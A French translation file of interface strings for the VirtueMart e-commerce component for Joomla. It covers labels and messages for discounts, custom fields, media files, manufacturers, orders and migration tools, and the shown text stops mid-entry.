COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="{X} champs personnalisables ont été supprimés" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="{X} médias ont été supprimés" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Réinitialiser toutes les tables
      et installer à nouveau" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="Cette opération supprime toutes les tables de VirtueMart et fait une nouvelle installation (pas de fichiers). Êtes-vous sûr ?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Réinitialiser toutes les tables\net installer les exemples" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="Suppression de toutes les tables de VirtueMart et nouvelle installation (pas de fichiers). Êtes-vous sûr ?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Attention" COM_VIRTUEMART_DELETE_MSG="Êtes-vous sûr(e) de vouloir supprimer cet article ?" COM_VIRTUEMART_DELETE_RECORD="Supprimer cet enregistrement" COM_VIRTUEMART_DELIVERY_TIME="Actuellement livré en" COM_VIRTUEMART_DESCRIPTION="Description" COM_VIRTUEMART_DETAILS="Détails" COM_VIRTUEMART_DISABLED="Désactivé" COM_VIRTUEMART_DISABLE_ITEM="Désactiver l'item" COM_VIRTUEMART_DISCOUNT="Remise" COM_VIRTUEMART_DISCOUNT_ADDDISCOUNT_TIP="Vous pouvez utiliser le formulaire de remise de produits pour ajouter des remises." COM_VIRTUEMART_DISCOUNT_ADDED="Remise de produit a été ajoutée" COM_VIRTUEMART_DISCOUNT_AMOUNTTYPE="Type de remise" COM_VIRTUEMART_DISCOUNT_ISPERCENT="Pourcentage" COM_VIRTUEMART_DISCOUNT_ISPERCENT_TIP="Le montant est-il un pourcentage ou un total ?" COM_VIRTUEMART_DISCOUNT_ISTOTAL="Total" COM_VIRTUEMART_DISPLAY_END="Valeur finale" COM_VIRTUEMART_DISPLAY_STEP="Valeur du pas" COM_VIRTUEMART_DISPLAY_STOCK="Afficher le niveau de stock" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="Si vous activez cette option, le niveau de stock du produit sera affiché dans la catégorie" COM_VIRTUEMART_DOCUMENTATION="Documentation" COM_VIRTUEMART_DOWNLOADABLE="Téléchargeable" COM_VIRTUEMART_DO_LOGIN="Vous devez être connecté" COM_VIRTUEMART_EDIT="Modifier" COM_VIRTUEMART_EDITSHOP="Modifier les informations" COM_VIRTUEMART_EDIT_PARENT="Modifier le produit parent" COM_VIRTUEMART_EDIT_REVIEW="Modifier le commentaire" COM_VIRTUEMART_EMAIL="E-mail" COM_VIRTUEMART_EMAIL_SENDTO="Un e-mail de confirmation a été envoyé à" COM_VIRTUEMART_EMPTY_CATEGORY="La catégorie est vide" COM_VIRTUEMART_ENABLED="Activé" COM_VIRTUEMART_ENABLE_ITEM="Activer l'item" COM_VIRTUEMART_ENCODE_INSECURE="ENCODE (peu sûr)" COM_VIRTUEMART_END_DATE="Date de fin" COM_VIRTUEMART_ENQUIRY="Demande" COM_VIRTUEMART_ENTER_VALID_DATE="Merci de spécifier une date au bon format (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Merci d'entrer une valeur dans le champ" COM_VIRTUEMART_ERROR="Erreur" COM_VIRTUEMART_EXCLUDING_TAX="(Hors taxe)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Mettez aussi à jour vos extensions avec l'installateur AIO" COM_VIRTUEMART_E_IMAGES="Images" COM_VIRTUEMART_E_REMOVE="Supprimer" COM_VIRTUEMART_FEATURED="Produit en vedette" COM_VIRTUEMART_FEATURED_PRODUCT="Produits en vedette" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Produits en vedette et produits remisés" COM_VIRTUEMART_FEE="Frais" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="S'abonner au flux des nouveaux produits" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="S'abonner au flux des nouveaux produits de cette catégorie" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="Champs utilisateur inclus de Joomla" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Masquer le compte" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Inscription" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Livraison" COM_VIRTUEMART_FIELDMANAGER_NAME="Nom du champ" COM_VIRTUEMART_FIELDMANAGER_REORDER="Réorganiser" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Obligatoire" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Obligatoire" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Afficher le compte" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Afficher/Masquer dans:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Afficher dans les informations de compte" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Afficher dans le formulaire d'inscription" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Afficher dans le formulaire livraison" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Afficher Inscription" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Afficher livraison" COM_VIRTUEMART_FIELDMANAGER_TITLE="Titre du champ" COM_VIRTUEMART_FIELDMANAGER_TYPE="Type du champ" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Non obligatoire" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Vérification de l'âge (champs de sélection de date)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Attributs de vérification de l'âge (champs de sélection de date)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Précisez l'âge minimum" COM_VIRTUEMART_FIELDS_CAPTCHA="Champ Captcha (utilisant com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Case à cocher (choix multiple)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Case à cocher (choix unique)" COM_VIRTUEMART_FIELDS_DATE="Date" COM_VIRTUEMART_FIELDS_DELIMITER="--- Délimiteur de champ ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Liste à choix multiples" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Liste déroulante (choix unique)" COM_VIRTUEMART_FIELDS_EDITORAREA="Éditer zone de texte" COM_VIRTUEMART_FIELDS_EMAIL="Adresse e-mail" COM_VIRTUEMART_FIELDS_NEWSLETTER="Inscription à la Newsletter" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Bouton radio" COM_VIRTUEMART_FIELDS_TEXTAREA="Zone de texte" COM_VIRTUEMART_FIELDS_TEXTFIELD="Champ de saisie" COM_VIRTUEMART_FIELDS_WEBADDRESS="Adresse Web" COM_VIRTUEMART_FIELD_TYPE="Type du Champ" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Impossible d'effacer le fichier." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="Fichier effacé." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Impossible d'effacer l'image" COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Image effacée." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="La vignette a été correctement créée" COM_VIRTUEMART_FILES_LIST="Liste des fichiers" COM_VIRTUEMART_FILES_LIST_FILENAME="Nom de fichier" COM_VIRTUEMART_FILES_LIST_FILETITLE="Titre du fichier" COM_VIRTUEMART_FILES_LIST_FILETYPE="Type de fichier" COM_VIRTUEMART_FILES_LIST_GO_UP="Vers le haut" COM_VIRTUEMART_FILES_LIST_ROLE="Rôle" COM_VIRTUEMART_FILES_LIST_UP="Haut" COM_VIRTUEMART_FILES_NOT_FOUND="Désolé, mais le fichier demandé n'a pas été trouvé" COM_VIRTUEMART_FILES_PATH_ERROR="Veuillez choisir un chemin correct" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Impossible d'effacer la vignette (n'existe peut être pas) :" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Vignette effacée." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="Erreur à l'envoi Fichier/Image" COM_VIRTUEMART_FILE_DELETE_ERR="Le fichier %s n'a pu être supprimé" COM_VIRTUEMART_FILE_DELETE_OK="Fichier supprimé" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Fichier média enregistré" COM_VIRTUEMART_FILE_UPLOAD_OK="Fichier transféré vers %s" COM_VIRTUEMART_FILTER="Filtre" COM_VIRTUEMART_FILTER_BY="Filtré par" COM_VIRTUEMART_FOLDER_NOT_EXIST="Le dossier %s n'existe pas. Vous pouvez le créer et y placer vos images." COM_VIRTUEMART_FORM_EDIT=" :[Modifier]" COM_VIRTUEMART_FORM_GENERAL="Informations Générales" COM_VIRTUEMART_FORM_NEW=" :[Nouveau]" COM_VIRTUEMART_FOR_SALE="Le fichier est à vendre" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="pour une vue avec le fournisseur présélectionné" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Montant minimum pour un franco de port" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="Le montant (incluant les taxes) minimum pour franco de port (exemple : 50 signifie que le franco de port s'appliquera à partir de 50 € taxes incluses et au-dessus)." COM_VIRTUEMART_FREE_SHIPPING_CART="La livraison est gratuite pour cette commande" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Empêcher les connexions https ?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="Quand elle est cochée, l'acheteur est redirigé vers l'URL http quand il n'est pas dans les zones de la boutique forcées d'utiliser https." COM_VIRTUEMART_GO="Go" COM_VIRTUEMART_GROUP_NAME="Nom du groupe d'autorisation" COM_VIRTUEMART_HELP="Aide" COM_VIRTUEMART_HELP_ABOUT="VirtueMart est la solution complète E-commerce Open source pour Joomla. Il s'agit d'une application, qui est livrée avec un composant, plus de 6 modules et plug-ins. Il tire ses racines de 'phpShop' (Auteurs: Edikon Corp & Communauté phpShop )." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Paiement avec PayPal - c'est rapide, gratuit et sécurisé!" COM_VIRTUEMART_HELP_DONATION_DESC="S'il vous plait, envisagez un don au projet VirtueMart pour nous aider à poursuivre les travaux sur ce composant et à créer de nouvelles fonctionnalités." COM_VIRTUEMART_HELP_HOMEPAGE="Site Web" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart est sous licence {licensename} License." COM_VIRTUEMART_HELP_PROJECTLEADER="Chef de projet" COM_VIRTUEMART_HELP_TEAM="Une petite équipe de développeurs nous aide à faire évoluer le script." COM_VIRTUEMART_HELP_TOPICS="Rubriques de l'aide" COM_VIRTUEMART_HELP_YOURVERSION="Votre version du {produit}" COM_VIRTUEMART_HI="Bonjour," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Ne pas afficher les produits en rupture de stock" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Image" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_INCLUDING_TAX="(TVA $tax % incluse)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-aucun-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="S'il vous plaît utilisez renouveler la configuration à partir du fichier dans Outils => Mises à jour / Migrations" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="L'installation a réussi" COM_VIRTUEMART_INSTALLATION_WELCOME="Bienvenue dans VirtueMart.\nLa solution de ecommerce pour Joomla" COM_VIRTUEMART_INSTALL_DONATION="Merci d'envisager un don pour nous aider à continuer le développement de VirtueMart." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Visiter le site VirtueMart pour obtenir de l'aide" COM_VIRTUEMART_INSTALL_GO_SHOP="Aller à la Boutique" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Installer les Exemples" COM_VIRTUEMART_INTNOTES="Notes internes" COM_VIRTUEMART_INVOICE="Facture" COM_VIRTUEMART_INVOICE_CREATE="Creation d'une facture" COM_VIRTUEMART_INVOICE_DATE="Date de la facture" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="Le numéro de facture est un numéro réservé par le paiement." COM_VIRTUEMART_INVOICE_PRINT="Imprimer la facture" COM_VIRTUEMART_ITEM="Élément" COM_VIRTUEMART_ITEMS_MOVED="Vous avez trié un total de %s articles" COM_VIRTUEMART_ITEMS_NOT_MOVED="Les articles était déjà bien classés" COM_VIRTUEMART_ITEM_MOVED_DOWN="Élément déplacé vers le bas" COM_VIRTUEMART_ITEM_MOVED_UP="Élément déplacé vers le haut" COM_VIRTUEMART_ITEM_NEXT="Suivant" COM_VIRTUEMART_ITEM_PREVIOUS="Précédent" COM_VIRTUEMART_I_AGREE_TO_TOS="J'accepte les Conditions Générales de Vente" COM_VIRTUEMART_JPLUGINWARNING="Veuillez configurer Les plug-ins de livraison ou de paiement à partir du composant VirtueMart" COM_VIRTUEMART_JS_STRINGS="editImage: 'modifier image',select_all_text: 'Tous selectionner',select_some_options_text :'Choix des options', select_an_option_text:'Faites un choix'" COM_VIRTUEMART_LANG_IS_EMPTY="Pas de traduction (%1$s) dans %2$s, merci de remplir les champs avec des drapeaux" COM_VIRTUEMART_LAST_UPDATED="Dernière mise à jour" COM_VIRTUEMART_LATEST="Derniers produits" COM_VIRTUEMART_LATEST_PRODUCT="Derniers produits" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Derniers produits - nombre de jour" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Nombre de jours consécutifs pendant lesquels tout derniers produits sont affichés" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Tri des derniers produits" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Derniers produits créés premier" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Ordre d'affichage des derniers produits" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED="Derniers produits modifiés en premier" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
      Politique de retour
      Vous pouvez annuler cette commande dans un délai de deux semaines après l'avoir reçue. Vous pouvez renvoyer les produits neufs, dans leur emballage pour une commande annulée dans les 2 semaines après qu'ils vous ont été livrés. Les articles doivent être retournés dans leur emballage d'origine. Pour plus d'informations sur l'annulation de commandes et le retour des articles, voir la page de notre politique de retour." COM_VIRTUEMART_LIST="Liste" COM_VIRTUEMART_LISTREVIEWS="Liste des commentaires" COM_VIRTUEMART_LIST_ALL_PRODUCTS="Produits" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="Lister tous les enfants de %s" COM_VIRTUEMART_LIST_EMPTY_OPTION="Sélectionner" COM_VIRTUEMART_LIST_LIMIT="Produits par page pour la boutique" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="Définissez la limite de pagination standard de liste pour les vues sur le site" COM_VIRTUEMART_LIST_ORDER="Ordre" COM_VIRTUEMART_LOST_PASSWORD="Mot de passe perdu ?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Alerte de stock bas" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="Il n'y a que {product_in_stock} pièces en stock pour le produit {produit_nom} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Stock minimum atteint pour %s" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Unité de mesure par défaut" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Réglez l'unité de mesure par défaut pour votre boutique" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Commande confirmée %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Commande en attente %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Commande remboursée par %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Commande expédiée par %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], Commande confirmée par %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Commande annulée par %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Formulaire client" COM_VIRTUEMART_MANUFACTURER="Fournisseur" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Catégories de fournisseurs" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Catégorie de fournisseur" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Description de la catégorie de fournisseurs" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Détails de la catégorie de fournisseurs" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="Liste" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Nom de la catégorie de fournisseurs" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Catégories de fournisseurs" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Information sur la catégorie" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Formulaire catégorie de fournisseurs" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Nom de la catégorie" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Liste des catégories de fournisseurs" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Fournisseurs" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Nom de la catégorie" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Description du fournisseur" COM_VIRTUEMART_MANUFACTURER_DETAILS="Détails du fournisseur" COM_VIRTUEMART_MANUFACTURER_EMAIL="E-mail du fournisseur" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Sélectionner un fournisseur" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Créer un lien pour afficher le fournisseur sélectionné" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Sélectionner un fournisseur" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Créer un lien vers le fournisseur" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Informations du fournisseur" COM_VIRTUEMART_MANUFACTURER_IMAGE="Image fournisseur" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Fournisseurs" COM_VIRTUEMART_MANUFACTURER_NAME="Nom du fournisseur" COM_VIRTUEMART_MANUFACTURER_S="Fournisseurs" COM_VIRTUEMART_MANUFACTURER_SHOW="Afficher tous les fournisseurs de cette catégorie" COM_VIRTUEMART_MANUFACTURER_URL="URL du fournisseur" COM_VIRTUEMART_MANUFACTURER_URL_TIP="L'URL du fournisseur doit débuter par 'http://'" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Affiche les fournisseurs VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="Affichage des fournisseurs" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Affiche un fournisseur" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="Affiche un fournisseur" COM_VIRTUEMART_MEDIA="Média" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Choisissez le type de media pour le fichier de nom %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Gestionnaire de médias" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Les fichiers médias doivent avoir un nom" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Les fichiers médias doivent avoir une URL" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Le média de type %1$s n'a pas d'URL relative. Rendez vous dans la configuration et configurer le. Revenez ensuite ici." COM_VIRTUEMART_MEDIA_S="Médias" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Les fichiers médias doivent avoir un type mime" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Les images BMP ne sont pas un bon choix pour internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Votre message" COM_VIRTUEMART_METAAUTHOR="Author" COM_VIRTUEMART_METADESC="Meta Description du produit" COM_VIRTUEMART_METAKEY="Meta Mots-clés du produit" COM_VIRTUEMART_METAROBOT="Meta Robot du produit" COM_VIRTUEMART_META_AUTHOR="Author" COM_VIRTUEMART_META_DESC="Meta Description" COM_VIRTUEMART_META_INFORMATION="Meta Information" COM_VIRTUEMART_META_KEYWORDS="Meta Mot Clés" COM_VIRTUEMART_META_ROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="nom de la catégorie fournisseur" COM_VIRTUEMART_MF_NAME="Nom du Fournisseur" COM_VIRTUEMART_MIGRATE="Démarrer la migration" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Mise catégorie par défaut (Voir la page) sans .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Page d'affichage par défaut de la catégorie (flypage) sans '.php'" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Nouveaux numéros de commande" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Précisez le user ID du nouveau propriétaire de la Boutique" COM_VIRTUEMART_MIGRATION_TAB="Migration" COM_VIRTUEMART_MIGRATION_UPDATE="Outils & Migration" COM_VIRTUEMART_MINICART_ADDED="a été ajouté au panier" COM_VIRTUEMART_MINICART_DESC="Affiche le mini panier VirtueMart" COM_VIRTUEMART_MINICART_ERROR="Erreur du mini panier" COM_VIRTUEMART_MODIFIED_ON="Date de modification du produit" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Zones de la boutique qui doivent utiliser https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Ici, vous pouvez utiliser une liste des modules de base de la boutique, séparés par des virgules (voir la rubrique 'Admin' -> 'Liste des modules'), qui devront utiliser des connexions https." COM_VIRTUEMART_MODULE_ADDED="Le module a été ajouté" COM_VIRTUEMART_MODULE_NAME="Nom" COM_VIRTUEMART_MONTH="Mois" COM_VIRTUEMART_MONTH_S="Mois" COM_VIRTUEMART_MORE="encore..." COM_VIRTUEMART_MORE_CATEGORIES="Plus de catégories" COM_VIRTUEMART_MORE_IMAGES="Voir d'autres images" COM_VIRTUEMART_MOVE_DOWN="Déplacer vers le bas" COM_VIRTUEMART_MOVE_UP="Déplacer vers le haut" COM_VIRTUEMART_MULTISELECT="Multisélection" COM_VIRTUEMART_NAME="Nom" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="Le nom du champ contient des caractères invalides" COM_VIRTUEMART_NEVER="-Jamais-" COM_VIRTUEMART_NEW_ITEMS_PLACE="Les nouveaux articles sont placés par défaut à la dernière place. L'ordre peut être changé une fois que cet article est sauvegardé." COM_VIRTUEMART_NEW_ORDERING_SAVED="Nouvelle organisation enregistrée" COM_VIRTUEMART_NEW_USER_MESSAGE="Bonjour %s, un nouvel utilisateur vient de s'enregistrer à %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="Paramètres du nouvel utilisateur" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="Un nouveau client %1$s vient de s'enregistrer dans votre boutique" COM_VIRTUEMART_NEW_VENDOR="Nouveau vendeur" COM_VIRTUEMART_NO="Non" COM_VIRTUEMART_NONE="Aucun(e)" COM_VIRTUEMART_NON_UNIQUE="Erreur : impossible d'enregistrer dans %s avec %s non unique" COM_VIRTUEMART_NON_UNIQUE_WARN="%s n'est pas unique, remplacé par un nombre aléatoire" COM_VIRTUEMART_NOTIFIED="Averti" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Impossible d'envoyer un message à" COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message envoyé à" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Impossible d’enregistrer les données adresses VirtueMart" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Impossible d’enregistrer les données clients" COM_VIRTUEMART_NOT_AUTH="Vous n’êtes pas autorisés à voir cette ressource" COM_VIRTUEMART_NO_ACCOUNT="Pas encore de compte ?" COM_VIRTUEMART_NO_CUSTOMER="Vous n'êtes pas encore un client(e) enregistré(e). Veuillez fournir vos informations de facturation en vous enregistrant. Merci." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="Aucune description n'a été trouvée" COM_VIRTUEMART_NO_FILES_FOUND="Aucun fichier trouvé" COM_VIRTUEMART_NO_IMAGE_FOUND="Aucune image n'a été trouvée" COM_VIRTUEMART_NO_IMAGE_SET="Aucune image" COM_VIRTUEMART_NO_ITEMS_SELECTED="Aucun élément sélectionné" COM_VIRTUEMART_NO_MEDIA="Désolé, ce n'est pas un fichier média valide" COM_VIRTUEMART_NO_MEDIA_FILES="Aucune image trouvée" COM_VIRTUEMART_NO_MORE_ORDERS="Aucune autre commande à afficher" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="Aucun plug-in de paiement n'est installé. Rendez-vous sur http://dev.virtuemart.net/projects/virtuemart/files et téléchargez la dernière version de com_virtuemart_allinone" COM_VIRTUEMART_NO_PRICE_SET="Pas de prix fixé" COM_VIRTUEMART_NO_RESTRICTION="Aucune restriction" COM_VIRTUEMART_NO_REVIEWS="Il n'y a pas encore de commentaire sur ce produit." COM_VIRTUEMART_NO_SEARCH_RESULT="Aucun produit n'a été trouvé.
      " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="Aucun plug-in de livraison n'est installé. Veuillez vous rendre sur http://dev.VirtueMart.net/projects/VirtueMart/files pour télécharger puis installer la dernière version de com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Répertoire de téléchargement non défini" COM_VIRTUEMART_OFFLINE_MODE="Mode hors-ligne" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="

      Vous pouvez
      • soit créer un compte et ensuite consulter vos commandes via votre compte
      • soit cliquer sur 'Sauvegarder', et vous recevrez un e-mail contenant un mot de passe pour consulter uniquement cette commande
      ');" COM_VIRTUEMART_OPERATION_CANCELED="Opération annulée" COM_VIRTUEMART_ORDER="Commande" COM_VIRTUEMART_ORDERBY="Tri par" COM_VIRTUEMART_ORDERING="Ordre" COM_VIRTUEMART_ORDERS="Commande" COM_VIRTUEMART_ORDERSTATUS="Statuts de la Commande" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Détails du statut de commande" COM_VIRTUEMART_ORDERSTATUS_S="Statuts des commandes" COM_VIRTUEMART_ORDERS_LIST="Liste des Commandes" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="Liste des commandes VirtueMart" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="Liste des commandes VirtueMart" COM_VIRTUEMART_ORDER_AMOUNT="Montant" COM_VIRTUEMART_ORDER_CDATE="Date de la Commande" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Modifier l'adresse de facturation" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Modifier l'adresse de livraison" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Impossible à supprimer sans l'id de la commande." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Êtes-vous sûr de vouloir supprimer cet article ?" COM_VIRTUEMART_ORDER_EDIT="Modifier le contenu de la commande" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Actions" COM_VIRTUEMART_ORDER_EDIT_ADD="Ajouter" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Sélectionner un produit" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Sélectionnez la référence" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Modifier la commande" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="La quantité doit être supérieure à 0" COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Modifier l'ID de la commande" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Modifier la commande" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="Le produit a été ajouté à la commande" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="Produit supprimé de la commande" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Quantité mise à jour" COM_VIRTUEMART_ORDER_EDIT_RETURN_PARENTS="Retour au produit parent" COM_VIRTUEMART_ORDER_EDIT_SOMETHING_HAS_CHANGED="a été modifié" COM_VIRTUEMART_ORDER_EDIT_USER="Editer l'utilisateur" COM_VIRTUEMART_ORDER_EXPORT="Module d'exportation" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME="Nom de la classe du module export" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME_TIP="(Par ex ps_olsi ):
      Default: ps_xmlexport
